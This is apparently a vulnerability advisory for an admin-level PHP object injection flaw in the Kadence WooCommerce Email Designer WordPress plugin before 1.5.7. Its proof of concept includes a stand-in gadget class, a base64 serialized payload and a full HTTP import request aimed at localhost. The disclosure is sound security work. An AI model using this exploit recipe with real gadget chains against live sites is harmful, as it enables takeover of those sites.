WordPress Plugin Vulnerabilities
Kadence WooCommerce Email Designer < 1.5.7 - Admin+ PHP Objection Injection
Description
The plugin unserialises the content of an imported file, which could lead to PHP object injections issues when an admin import (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.
Proof of Concept
To simulate a gadget chain, put the following code in a plugin class Evil { public function __wakeup() : void { die("Arbitrary deserialization"); } } Create a file named import.dat with the following content and import it via the plugin: Tzo0OiJFdmlsIjowOnt9Ow== which is base64 encode of: O:4:"Evil":0:{}; POST /wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------257490022338836228831019117590 Content-Length: 686 Origin: http://localhost Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------257490022338836228831019117590 Content-Disposition: form-data; name="kadence-woomail-import-file"; filename="import.dat" Content-Type: application/octet-stream Tzo0OiJFdmlsIjowOnt9Ow== -----------------------------257490022338836228831019117590 Content-Disposition: form-data; name="kt-woomail-import" a4f4eba906 -----------------------------257490022338836228831019117590 Content-Disposition: form-data; name="_wp_http_referer" /wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1 -----------------------------257490022338836228831019117590--
